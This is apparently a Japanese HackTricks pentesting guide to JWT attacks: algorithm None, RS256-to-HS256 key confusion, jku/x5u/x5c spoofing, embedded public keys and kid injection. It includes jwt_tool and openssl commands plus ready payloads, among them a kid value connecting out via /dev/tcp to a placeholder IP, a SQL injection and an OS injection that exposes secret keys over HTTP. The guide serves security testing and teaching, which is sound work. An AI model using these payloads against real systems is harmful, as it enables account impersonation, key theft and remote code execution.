hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

22 KiB
Raw Blame History

JWTの脆弱性Json Web Tokens

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

バグバウンティのヒント:ハッカーによって作成されたプレミアムなバグバウンティプラットフォームであるIntigritiサインアップしてください!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

この投稿の一部は、https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology から取得されました。
JWTをペンテストするための素晴らしいツールの作者https://github.com/ticarpi/jwt_tool

クイックウィン

jwt_toolAll Tests!モードで実行し、緑色の行が表示されるのを待ちます。

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

もし運が良ければ、ツールはウェブアプリケーションがJWTを正しくチェックしていない場合を見つけることができます:

その後、プロキシでリクエストを検索するか、jwt_ toolを使用してそのリクエストに使用されたJWTをダンプすることができます。

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

データを変更せずにデータを改ざんする

署名はそのままにデータを改ざんし、サーバーが署名をチェックしているかどうかを確認できます。例えば、ユーザー名を「admin」に変更してみてください。

トークンはチェックされていますか?

  • エラーメッセージが表示される場合、署名がチェックされています。機密情報が漏洩する可能性のある詳細なエラー情報を読んでください。
  • 返されるページが異なる場合、署名がチェックされています。
  • ページが同じ場合、署名はチェックされていません。Payloadのクレームを改ざんして何ができるかを調べるために、タンパリングを開始しましょう

オリジン

プロキシのリクエスト履歴でトークンの発生元を確認してください。サーバーで作成されたものであるべきです。

  • クライアント側から最初に見られた場合、キーはクライアント側のコードからアクセス可能です。それを探してください!
  • サーバーから最初に見られた場合、すべて正常です。

期間

トークンが24時間以上続くかどうかを確認してください...おそらく期限切れになりません。もし「exp」フィールドがある場合、サーバーが正しく処理しているかどうかを確認してください。

HMACシークレットのブルートフォース攻撃

このページを参照してください。

アルゴリズムをNoneに変更するCVE-2015-9235

使用されるアルゴリズムを「None」に設定し、署名部分を削除します。

この脆弱性を試すために、Burp拡張機能「JSON Web Token」を使用し、JWT内の異なる値を変更できますリクエストをRepeaterに送信し、「JSON Web Token」タブでトークンの値を変更できます。「Alg」フィールドの値を「None」に設定することもできます

アルゴリズムをRS256非対称からHS256対称に変更するCVE-2016-5431/CVE-2016-10555

アルゴリズムHS256は、各メッセージの署名と検証に秘密鍵を使用します。
アルゴリズムRS256は、メッセージの署名には秘密鍵を使用し、認証には公開鍵を使用します。

アルゴリズムをRS256からHS256に変更すると、バックエンドのコードは公開鍵を秘密鍵として使用し、HS256アルゴリズムを使用して署名を検証します。

その後、公開鍵を使用してRS256をHS256に変更することで、有効な署名を作成できます。次のコマンドを実行して、Webサーバーの証明書を取得できます

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

ヘッダー内の新しい公開鍵

攻撃者は、トークンのヘッダーに新しい鍵を埋め込み、サーバーはこの新しい鍵を使用して署名を検証しますCVE-2018-0114

これは、「JSON Web Tokens」Burp拡張機能を使用して行うことができます。
リクエストをリピーターに送信し、JSON Web Tokenタブで「CVE-2018-0114」を選択してリクエストを送信します

JWKSスプーフィング

トークンが「jku」ヘッダークレームを使用している場合は、指定されたURLを確認してください。これは、トークンを検証するための公開鍵を保持するJWKSファイルを含むURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更します。

HTTPのインタラクションが得られた場合、サーバーが提供したURLからキーを読み込もうとしていることがわかります。jwt_toolの-Sフラグを-u http://example.com 引数と一緒に使用して、新しいキーペアを生成し、提供したURLを注入し、公開鍵を含むJWKSを生成し、プライベートキーでトークンに署名します

Kidの問題

kidは、キーの識別子を保持するオプションのヘッダークレームであり、複数のキーでトークンに署名する場合に特に便利です。正しいキーを検索するために使用する必要があります。

"kid"の問題 - キーの公開

ヘッダーで「kid」クレームが使用されている場合、そのファイルまたはそのバリエーションをウェブディレクトリで確認してください。たとえば、"kid":"key/12345"の場合、ウェブルートで /key/12345/key/12345.pem を探してください。

"kid"の問題 - パストラバーサル

ヘッダーで「kid」クレームが使用されている場合、ファイルシステムで別のファイルを使用できるかどうかを確認してください。予測可能な内容のファイルを選択するか、または "kid":"/dev/tcp/yourIP/yourPort" を使用して接続性をテストするか、さらにはいくつかの SSRF ペイロードを試してみてください...
jwt_toolの-Tフラグを使用してJWTを改ざんし、kidクレームの値を変更し、元の署名を保持するように選択します。

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

ホスト内の既知のコンテンツを使用することで、有効なJWTを偽造することもできます。たとえば、Linuxシステムでは、ファイル /proc/sys/kernel/randomize_va_space の値が 2 に設定されています。したがって、その パス を「kid」パラメーターに入れ、JWTを生成するための 対称パスワード として「2」を使用すると、有効な新しいJWTを生成できるはずです。

"kid"の問題 - SQLインジェクション

「kid」の内容がデータベースからパスワードを取得するために使用されるシナリオでは、次のようなペイロードを「kid」パラメーター内に変更してJWTに署名することができますnon-existent-index' UNION SELECT 'ATTACKER';-- - そして、秘密鍵 ATTACKER でJWTを署名します。

"kid"の問題 - OSインジェクション

「kid」パラメーターには、キーが含まれるファイルへのパスが含まれており、このパスが 実行されるコマンドの内部で使用されている シナリオでは、次のようなペイロードを使用してRCEを取得し、秘密鍵を公開することができるかもしれません/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

その他の攻撃

以下は、テストすべき既知の脆弱性です。

クロスサービスリレーアタック

一部のWebアプリケーションでは、信頼されたJWT「サービス」を使用してトークンを生成および管理しています。過去には、JWTサービスのクライアントの1つのために生成されたトークンが、JWTサービスの別のクライアントによって受け入れられる場合がありました。
JWTがサードパーティサービスを介して発行または更新されるのを観察した場合、同じユーザー名/メールアドレスでそのサービスの別のクライアントにアカウントを作成できるかどうかを特定する価値があります。そうしたトークンを取得し、ターゲットにリクエストで再生してみてください。受け入れられますか?

  • トークンが受け入れられる場合、任意のユーザーアカウントを偽装することができる重大な問題が発生している可能性があります。ただし、サードパーティアプリケーションにサインアップする場合は、法的なグレーゾーンに入る可能性があるため、より広範なテスト権限の許可を求める必要があるかもしれません。

expがチェックされていますか

「exp」ペイロードクレームは、トークンの有効期限をチェックするために使用されます。JWTはセッション情報の欠如時によく使用されるため、注意して取り扱う必要があります。他の人のJWTをキャプチャして再生することで、そのユーザーをなりすますことができる場合があります。
JWTリプレイ攻撃に対する1つの緩和策JWT RFCで推奨されているは、「exp」クレームを使用してトークンの有効期限を設定することです。また、アプリケーションに関連するチェックを設定して、この値が処理され、トークンが期限切れの場合は拒否されるようにすることも重要です。トークンに「exp」クレームが含まれていて、テスト時間の制限が許可する場合は、トークンを保存して有効期限が過ぎた後に再生してみてください。jwt_toolの -R フラグを使用してトークンの内容を読み取り、タイムスタンプの解析と有効期限のチェックUTCのタイムスタンプを行います

  • トークンがアプリケーションでまだ検証される場合、トークンは決して期限切れにならない可能性があるため、これはセキュリティリスクとなる場合があります。

x5uとjku

jku

jkuは JWK Set URL の略です。
トークンが「jkuヘッダークレームを使用している場合は、指定されたURLを確認してください。これは、トークンの検証に使用される公開鍵を保持するJWKSファイルが格納されているURLを指すはずです。トークンを改ざんして、jkuの値をトラフィックを監視できるWebサービスを指すように変更してみてください。

まず、新しい証明書と新しい秘密鍵と公開鍵を作成する必要があります。

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

次に、jwt.ioを使用して、作成された公開鍵と秘密鍵を使用し、パラメーターjkuを作成された証明書に指定して新しいJWTを作成することができます。有効なjku証明書を作成するために、元の証明書をダウンロードして必要なパラメーターを変更することができます。

公開証明書からパラメーター「e」と「n」を取得するには、次のようにします

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL。PEM形式でエンコードされたX.509証明書形式の標準公開証明書のセットを指すURIです。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。次の証明書は前の証明書に署名し、これにより証明書チェーンが完成します。X.509はRFC 52807で定義されています。証明書を転送するためには、トランスポートセキュリティが必要です。

このヘッダをあなたが制御するURLに変更して、リクエストが受信されるかどうかを確認してください。その場合、JWTを改ざんすることができます

あなたが制御する証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

次に、例えばjwt.ioを使用して、作成された公開鍵と秘密鍵を使用し、パラメータx5uを作成された.crt証明書に指定して新しいJWTを作成することができます。

また、これらの脆弱性をSSRFに悪用することもできます。

x5c

このパラメータには、ベース64でエンコードされた証明書が含まれている場合があります:

攻撃者が自己署名証明書を生成し、対応する秘密鍵を使用して偽造トークンを作成し、"x5c"パラメータの値を新たに生成された証明書に置き換え、他のパラメータn、e、x5tを変更すると、基本的にはサーバーが偽造トークンを受け入れることになります。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

埋め込まれた公開鍵CVE-2018-0114

もしJWTに以下のシナリオのように公開鍵が埋め込まれている場合

次のNode.jsスクリプトを使用することで、そのデータから公開鍵を生成することが可能です

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

新しい秘密鍵/公開鍵を生成し、その新しい公開鍵をトークン内に埋め込み、新しい署名を生成することが可能です。

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

次のNode.jsスクリプトを使用して、"n"と"e"を取得することができます。

const jwt = require('jsonwebtoken');

const token = 'your_jwt_token_here';

const decodedToken = jwt.decode(token, { complete: true });

const n = decodedToken.header.n;
const e = decodedToken.header.e;

console.log('n:', n);
console.log('e:', e);

上記のスクリプトを使用すると、指定したJWTトークンから"n"と"e"を取得できます。

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

最後に、公開鍵と秘密鍵、および新しい「n」と「e」の値を使用して、jwt.ioを使用して任意の情報を持つ新しい有効なJWTを作成することができます。

JTIJWT ID

JTIJWT IDクレームは、JWTトークンの一意の識別子を提供します。これは、トークンのリプレイを防止するために使用できます。
ただし、IDの最大長が40001-9999であると想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDを増やしている場合、これを悪用してリクエストを再生することができます成功した再生ごとに10000リクエストを送信する必要があります

JWT登録済みクレーム

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

ツール

{% embed url="https://github.com/ticarpi/jwt_tool" %}


バグバウンティのヒント: Intigritiサインアップしてください。これは、ハッカーによって作成されたプレミアムなバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥